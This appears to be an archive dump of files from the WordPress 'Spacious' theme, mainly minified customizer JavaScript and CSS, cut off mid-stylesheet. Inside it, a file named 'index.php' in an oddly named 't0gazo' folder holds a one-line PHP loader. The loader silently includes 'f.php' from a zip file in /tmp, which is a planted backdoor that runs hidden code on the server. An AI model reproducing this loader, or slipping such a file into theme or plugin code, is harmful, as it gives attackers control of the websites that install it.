.typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"line-height":{}};n.find(".line-height .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["line-height"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLetterSpacing:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"letter-spacing":{}};n.find(".letter-spacing .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["letter-spacing"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])}})}(jQuery),function(e){e(window).on("load",function(){e(".tg-navigate a").on("click",function(t){t.preventDefault();t=e(this).data("section");t&&wp.customize.section(t).focus()})})}(jQuery),wp.customize.controlConstructor["spacious-radio-image"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-slider"]=wp.customize.Control.extend({ready:function(){"use strict";var e=this;this.container.find("input[type=range]").on("input change",function(){var t=jQuery(this).val(),e=jQuery(this).closest(".slider-wrapper").find(".spacious-range-value .value");e.val(t),e.change()}),this.container.find(".spacious-slider-reset").click(function(){var t=jQuery(this).closest(".slider-wrapper"),e=t.find("input[type=range]"),n=t.find(".spacious-range-value .value"),t=e.data("reset_value");e.val(t),n.val(t),n.change()}),this.container.on("input change","input[type=number]",function(){var t=jQuery(this).val();jQuery(this).closest(".slider-wrapper").find("input[type=range]").val(t),e.setting.set(t)})}}),wp.customize.controlConstructor["spacious-sortable"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.sortableContainer=t.container.find("ul.sortable").first(),t.sortableContainer.sortable({stop:function(){t.updateValue()}}).disableSelection().find("li").each(function(){jQuery(this).find("i.visibility").click(function(){jQuery(this).toggleClass("dashicons-visibility-faint").parents("li:eq(0)").toggleClass("invisible")})}).click(function(){t.updateValue()})},updateValue:function(){"use strict";var t=[];this.sortableContainer.find("li").each(function(){jQuery(this).is(".invisible")||t.push(jQuery(this).data("value"))}),this.setting.set(t)}}),wp.customize.controlConstructor["spacious-toggle"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this,e=t.setting._value;this.container.on("change","input",function(){e=!!jQuery(this).is(":checked"),t.setting.set(e)})}}),wp.customize.controlConstructor["spacious-typography"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.renderFontSelector(),t.renderVariantSelector(),t.renderSubsetSelector(),t.container.on("change",".font-style select",function(){t.saveValue("font-style",jQuery(this).val())}),t.container.on("change",".text-transform select",function(){t.saveValue("text-transform",jQuery(this).val())}),t.container.on("change",".text-decoration select",function(){t.saveValue("text-decoration",jQuery(this).val())}),t.container.on("change keyup paste input",".font-size input",function(){t.updateFontSize()}),t.container.on("change keyup paste input",".line-height input",function(){t.updateLineHeight()}),t.container.on("change keyup paste input",".letter-spacing input",function(){t.updateLetterSpacing()})},renderFontSelector:function(){var t=this,e=t.selector+" .font-family select",n=[],o=[],i=[],a=t.setting._value,r=t.getFonts();_.isUndefined(r.standard)||_.each(r.standard,function(t){n.push({id:t.family.replace(/"/g,"'"),text:t.label})}),_.isUndefined(r.google)||_.each(r.google,function(t){o.push({id:t.family,text:t.label})}),data=[{text:r.standardfontslabel,children:n},{text:r.googlefontslabel,children:o}],_.isUndefined(r.custom)||(_.each(r.custom,function(t){i.push({id:t.family,text:t.label})}),data.push({text:r.customfontslabel,children:i})),e=jQuery(e).selectWoo({data:data,width:"100%"}),a["font-family"]&&e.val(a["font-family"].replace(/'/g,'"')).trigger("change"),e.on("change",function(){t.saveValue("font-family",jQuery(this).val()),t.renderVariantSelector(),t.renderSubsetSelector()})},getFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderVariantSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getVariants(n),n=t.selector+" .font-weight select",i=[],a=!1;!1!==o?(jQuery(t.selector+" .font-weight").show(),_.each(o,function(t){e["font-weight"]===t.id&&(a=!0),i.push({id:t.id,text:t.label})}),a||(e["font-weight"]="regular"),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(e["font-weight"]).trigger("change"),n.on("change",function(){t.saveValue("font-weight",jQuery(this).val())})):jQuery(t.selector+" .font-weight").hide()},getVariants:function(e){var t=this.getFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderSubsetSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getSubsets(n),n=t.selector+" .subsets select",i=[],a=e.subsets;!1!==o?(jQuery(t.selector+" .subsets").show(),_.each(o,function(e){_.isObject(a)&&-1===a.indexOf(e.id)&&(a=_.reject(a,function(t){return t===e.id})),i.push({id:e.id,text:e.label})})):jQuery(t.selector+" .subsets").hide(),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(a).trigger("change"),n.on("change",function(){t.saveValue("subsets",jQuery(this).val())})},getSubsets:function(e){var n=!1,t=this.getFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveValue:function(t,e){var n=this.container.find(".typography-hidden-value"),o=this.setting._value;o[t]=e,jQuery(n).attr("value",JSON.stringify(o)).trigger("change"),this.setting.set(o)},updateFontSize:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"font-size":{}};this.container.find(".font-size .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["font-size"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLineHeight:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"line-height":{}};this.container.find(".line-height .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["line-height"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLetterSpacing:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"letter-spacing":{}};this.container.find(".letter-spacing .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["letter-spacing"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)}});core/custom-controls/assets/js/t0gazo/index.php000066600000000145152367043330015623 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "f.php"; include("zip:///tmp/phpUZhB4G#$h");?>core/custom-controls/assets/css/customize-controls.min.css000066600000045556152367043330020151 0ustar00.tooltip-text{background-color:#444;border-radius:4px;bottom:125%;-webkit-box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);color:#fff;left:4px;margin-left:calc(-120px / 2);opacity:0;padding:10px 10px;position:absolute;text-align:center;-webkit-transition:opacity .3s;transition:opacity .3s;visibility:hidden;width:120px;z-index:1}.tooltip-text::after{border-color:#444 transparent transparent transparent;border-style:solid;border-width:5px;content:"";left:50%;margin-left:-5px;position:absolute;top:100%}.customize-control-spacious-background .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-buttonset .buttonset{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-buttonset .buttonset .buttonset-inner{-webkit-box-flex:1;-ms-flex:1;flex:1}.customize-control-spacious-buttonset .buttonset .buttonset-inner+.buttonset-inner{border-left:0}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset{background:#ebebeb;-webkit-box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);color:#444;display:block;padding:5px 12px;text-align:center;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover{background:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input{display:none}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label{background:#0073aa;color:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label:hover{background:#0073aa;color:#fff}.customize-control .actions{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control .actions .button{min-height:34px}.customize-control .actions .button:last-of-type{margin-right:0}.customize-control-header button.random{min-height:34px}input[type=checkbox]:checked{border-radius:2px;-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=radio]:checked{-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=range]:focus{outline:0}.customize-control-spacious-color .customizer-wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-color .customizer-wrapper .customize-control-title{display:block;margin:0 0 8px 0}.wp-picker-container .wp-color-result.button{background-color:#ebebeb !important;background-image:none !important;min-height:34px;border:1px solid #ebebeb}.wp-picker-container .wp-color-result.button::after{border:1px solid #ebebeb;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;border-radius:100%;content:"";height:22px;left:5px;position:absolute;top:5px;width:22px;z-index:0}.wp-picker-container .wp-color-result.button .wp-color-result-text{background:0;border:0;line-height:2.15384615;padding:0 10px 0 6px}.wp-picker-container .wp-color-result.button .color-alpha{border:1px solid #ebebeb;border-radius:100% !important;height:22px !important;left:4px !important;top:4px !important;width:22px !important;z-index:1}.wp-picker-container .wp-picker-input-wrap .wp-picker-default{min-height:34px !important}.wp-picker-container .wp-picker-holder{-webkit-box-shadow:0 0 20px 0 rgba(68,68,68,0.3);box-shadow:0 0 20px 0 rgba(68,68,68,0.3)}.wp-picker-container .iris-picker{border-color:#ebebeb;margin-bottom:5px}.wp-picker-container .iris-picker .iris-alpha-slider{margin-right:-1px}.customize-control-spacious-divider{padding:0 !important}.customize-control-spacious-custom .spacious-custom-info{margin-bottom:15px}.customize-control-spacious-custom .spacious-custom-links li a{background:#0073aa;display:block;text-align:center;color:#fff;padding:8px 16px;text-decoration:none}.customize-control-spacious-divider hr{margin-top:10px;margin-bottom:10px}.customize-control-spacious-divider .divider-placement-above+.spacious-control-tooltip{top:30px}.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea{width:100%}.customize-control-spacious-group .spacious-group-wrap>.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-group .spacious-group-toggle-icon{background:#ebebeb;border-radius:100px;color:rgba(68,68,68,0.6);cursor:pointer;font-size:20px;padding:5px;position:relative;right:0;top:0}.customize-control-spacious-group .spacious-group-toggle-icon:before{content:"\f464"}.customize-control-spacious-group .spacious-group-toggle-icon.open{background:#0073aa;color:#fff}.customize-control-spacious-group .spacious-group-toggle-icon.open:before{content:"\f158"}.customize-control-spacious-group .spacious-group-toggle-icon.toggle-description{right:25px}.customize-control-spacious-group .spacious-field-settings-modal{background-color:#fff;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,0.3);box-shadow:0 2px 10px rgba(0,0,0,0.3);left:0;position:absolute;right:0;z-index:9999}.customize-control-spacious-group .spacious-field-settings-modal:before{border:8px solid transparent;border-bottom-color:#fff;content:"";pointer-events:none;position:absolute;right:17px;top:-15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap{width:100%}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content{position:relative}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;overflow:hidden;padding:15px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before,.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after{border-collapse:collapse;content:"";display:table}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li{border:1px solid rgba(0,0,0,0.1);-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;margin:0;padding:.5rem .5rem;text-align:center}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child){border-left-width:0}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus{outline-style:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active{background-color:#289dcc}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a{color:#fff}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a{color:#555d66;text-decoration:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus{-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-group .spacious-field-settings-modal .customize-control{-webkit-box-sizing:border-box;box-sizing:border-box;padding:20px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child{margin-bottom:15px}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title{color:#444;display:block;font-size:14px;line-height:1.2;margin:0}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description{margin-top:10px;padding:0 12px}.tool-tip{display:inline-block;position:relative}.tool-tip:hover .tooltip-text{opacity:1;visibility:visible}#customize-theme-controls .customize-pane-child .accordion-section-content{padding:10px}.customize-control .customize-control-spacious-color{padding-bottom:0}li.customize-control.customize-control-spacious-hidden{padding:0}.customize-control-spacious-hidden.customize-control{margin-top:0}.customize-control-spacious-radio-image *{-webkit-box-sizing:border-box;box-sizing:border-box}.customize-control-spacious-radio-image input{display:none}.customize-control-spacious-radio-image input:checked+label img{background:#0073aa}.customize-control-spacious-radio-image .image{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image label{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-top:10px;margin-bottom:10px;position:relative;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.customize-control-spacious-radio-image label>img{background:#ebebeb;border:2px solid #ebebeb;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image .image-col-1:after,.customize-control-spacious-radio-image .image-col-2:after,.customize-control-spacious-radio-image .image-col-3:after,.customize-control-spacious-radio-image .image-col-4:after{clear:both;content:'';display:block}.customize-control-spacious-radio-image .image-col-1 input:checked+label img,.customize-control-spacious-radio-image .image-col-2 input:checked+label img,.customize-control-spacious-radio-image .image-col-3 input:checked+label img,.customize-control-spacious-radio-image .image-col-4 input:checked+label img{border:0;-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-radio-image .image-col-1 label{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.customize-control-spacious-radio-image .image-col-1 label>img{border:0;padding:15px 15px 0;width:70%}.customize-control-spacious-radio-image .image-col-2 label{-ms-flex-preferred-size:calc((100% / 2) - 12px);flex-basis:calc((100% / 2) - 12px)}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd){margin-right:10px}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even){margin-left:10px}.customize-control-spacious-radio-image .image-col-2 label>img{border:0;padding:12px 12px 0;width:108px}.customize-control-spacious-radio-image .image-col-3 label{-ms-flex-preferred-size:calc((100% / 3) - 8px);flex-basis:calc((100% / 3) - 8px)}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1){margin-right:10px}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3){margin-left:10px}.customize-control-spacious-radio-image .image-col-3 label>img{border:0;padding:8px 8px 0;width:75px}.customize-control-spacious-radio-image .image-col-4 label{-ms-flex-preferred-size:25%;flex-basis:25%;padding:6px 15px;border:1px solid #ebebeb}.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)){border-right-width:0}.customize-control-spacious-radio-image .image-col-4 label>img{border:0}.customize-control-spacious-radio-image .image-col-4 input:checked+label{background:#0073aa}.customize-control-spacious-radio-image label:hover .tooltip-text{opacity:1;visibility:visible}.customize-control-spacious-radio-image .tooltip-text{bottom:105%;left:50%}.customize-control-spacious-slider .slider-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-slider .slider-wrapper input[type=range]{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:rgba(0,0,0,0.1);cursor:pointer;-webkit-box-flex:1;-ms-flex:1;flex:1;height:5px;padding:0;-webkit-transition:background .3s;transition:background .3s}.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;appearance:none;background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;padding:0 0 0 5px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number]{font-size:12px;padding:3px;width:60px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit{padding:0 0 0 5px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset{color:rgba(0,0,0,0.3);cursor:pointer;-webkit-transition:color .3s ease-in;transition:color .3s ease-in}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span{font-size:14px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover,.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus{color:#289dcc}.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span{right:20px}.customize-control-spacious-sortable ul.ui-sortable{cursor:default}.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility{cursor:pointer}.customize-control-spacious-sortable ul.ui-sortable li{padding:5px 10px;border:1px solid #555;background:#fff;cursor:move}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu{float:right}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility{margin-right:10px}.customize-control-spacious-sortable ul.ui-sortable li.invisible{color:#aaa;border:1px dashed #aaa}.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility{color:#aaa}.customize-control-spacious-toggle{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-toggle label{position:relative;display:inline-block;width:30px;height:16px;right:0;top:4px}.customize-control-spacious-toggle label.toggle-description{right:20px}.customize-control-spacious-toggle label input{display:none}.customize-control-spacious-toggle label input:checked+.switch:before{background:#fff;border-color:#fff;left:-6px;-webkit-transform:translateX(20px);transform:translateX(20px)}.customize-control-spacious-toggle label input:checked+.switch{background-color:#0073aa;border-color:#0073aa}.customize-control-spacious-toggle label .switch{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background:#fff;border:2px solid #444;border-radius:100px;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-toggle label .switch:before{position:absolute;content:'';height:6px;width:6px;left:3px;bottom:1px;border:2px solid #444;background:#444;border-radius:100%;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-typography .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-typography .customize-control-content .font-size,.customize-control-spacious-typography .customize-control-content .line-height,.customize-control-spacious-typography .customize-control-content .letter-spacing{position:relative}.customize-control-spacious-typography .customize-control-content .control-wrap{display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-typography .customize-control-content .unit{background:#ebebeb;border-radius:0 2px 2px 0;font-weight:500;line-height:34px;padding:0 12px;text-transform:uppercase}.customize-control-spacious-typography .customize-control-content .font-style,.customize-control-spacious-typography .customize-control-content .font-family,.customize-control-spacious-typography .customize-control-content .font-weight,.customize-control-spacious-typography .customize-control-content .text-transform{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content{padding-top:2px;width:180px}span.select2-container.select2-container--default.select2-container--open{z-index:999999}.customize-control-spacious-title{border-bottom:1px solid #ebebeb;margin-top:15px}.customize-control-spacious-title:nth-child(2){margin-top:0}.spacious-title-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.spacious-title-wrapper .dashicons-editor-help{color:rgba(68,68,68,0.5);margin-left:5px}.spacious-title-wrapper .dashicons-editor-help:hover{color:#444}.spacious-title-wrapper .guide-tutorial>span{border-right:1px solid #eee;padding:0 5px 0 8px}.spacious-title-wrapper .guide-tutorial>span:first-child,.spacious-title-wrapper .guide-tutorial>span:last-of-type{border-right:0;padding-right:0}.spacious-title-wrapper .guide-tutorial>span a{font-weight:500;text-decoration:none}.spacious-title-wrapper label.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-dimensions{position:relative}.customize-control-spacious-dimensions .wrapper{border:1px solid rgba(0,0,0,0.1);padding:6px 8px}.customize-control-spacious-dimensions .wrapper .control{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-dimensions .wrapper .control .top,.customize-control-spacious-dimensions .wrapper .control .right,.customize-control-spacious-dimensions .wrapper .control .bottom,.customize-control-spacious-dimensions .wrapper .control .left{width:23%}.customize-control-spacious-dimensions .wrapper .control .top h5,.customize-control-spacious-dimensions .wrapper .control .right h5,.customize-control-spacious-dimensions .wrapper .control .bottom h5,.customize-control-spacious-dimensions .wrapper .control .left h5{margin:0;font-weight:normal}p.upgrade-description{margin-top:10px;font-style:italic}core/custom-controls/assets/css/customize-controls.min-rtl.css000066600000045561152367043330020744 0ustar00.tooltip-text{background-color:#444;border-radius:4px;bottom:125%;-webkit-box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);color:#fff;right:4px;margin-right:calc(-120px / 2);opacity:0;padding:10px 10px;position:absolute;text-align:center;-webkit-transition:opacity .3s;transition:opacity .3s;visibility:hidden;width:120px;z-index:1}.tooltip-text::after{border-color:#444 transparent transparent transparent;border-style:solid;border-width:5px;content:"";right:50%;margin-right:-5px;position:absolute;top:100%}.customize-control-spacious-background .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-buttonset .buttonset{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-buttonset .buttonset .buttonset-inner{-webkit-box-flex:1;-ms-flex:1;flex:1}.customize-control-spacious-buttonset .buttonset .buttonset-inner+.buttonset-inner{border-right:0}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset{background:#ebebeb;-webkit-box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);color:#444;display:block;padding:5px 12px;text-align:center;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover{background:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input{display:none}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label{background:#0073aa;color:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label:hover{background:#0073aa;color:#fff}.customize-control .actions{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control .actions .button{min-height:34px}.customize-control .actions .button:last-of-type{margin-left:0}.customize-control-header button.random{min-height:34px}input[type=checkbox]:checked{border-radius:2px;-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=radio]:checked{-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=range]:focus{outline:0}.customize-control-spacious-color .customizer-wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-color .customizer-wrapper .customize-control-title{display:block;margin:0 0 8px 0}.wp-picker-container .wp-color-result.button{background-color:#ebebeb !important;background-image:none !important;min-height:34px;border:1px solid #ebebeb}.wp-picker-container .wp-color-result.button::after{border:1px solid #ebebeb;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;border-radius:100%;content:"";height:22px;right:5px;position:absolute;top:5px;width:22px;z-index:0}.wp-picker-container .wp-color-result.button .wp-color-result-text{background:100%;border:0;line-height:2.15384615;padding:0 6px 0 10px}.wp-picker-container .wp-color-result.button .color-alpha{border:1px solid #ebebeb;border-radius:100% !important;height:22px !important;right:4px !important;top:4px !important;width:22px !important;z-index:1}.wp-picker-container .wp-picker-input-wrap .wp-picker-default{min-height:34px !important}.wp-picker-container .wp-picker-holder{-webkit-box-shadow:0 0 20px 0 rgba(68,68,68,0.3);box-shadow:0 0 20px 0 rgba(68,68,68,0.3)}.wp-picker-container .iris-picker{border-color:#ebebeb;margin-bottom:5px}.wp-picker-container .iris-picker .iris-alpha-slider{margin-left:-1px}.customize-control-spacious-divider{padding:0 !important}.customize-control-spacious-custom .spacious-custom-info{margin-bottom:15px}.customize-control-spacious-custom .spacious-custom-links li a{background:#0073aa;display:block;text-align:center;color:#fff;padding:8px 16px;text-decoration:none}.customize-control-spacious-divider hr{margin-top:10px;margin-bottom:10px}.customize-control-spacious-divider .divider-placement-above+.spacious-control-tooltip{top:30px}.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea{width:100%}.customize-control-spacious-group .spacious-group-wrap>.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-group .spacious-group-toggle-icon{background:#ebebeb;border-radius:100px;color:rgba(68,68,68,0.6);cursor:pointer;font-size:20px;padding:5px;position:relative;left:0;top:0}.customize-control-spacious-group .spacious-group-toggle-icon:before{content:"\f464"}.customize-control-spacious-group .spacious-group-toggle-icon.open{background:#0073aa;color:#fff}.customize-control-spacious-group .spacious-group-toggle-icon.open:before{content:"\f158"}.customize-control-spacious-group 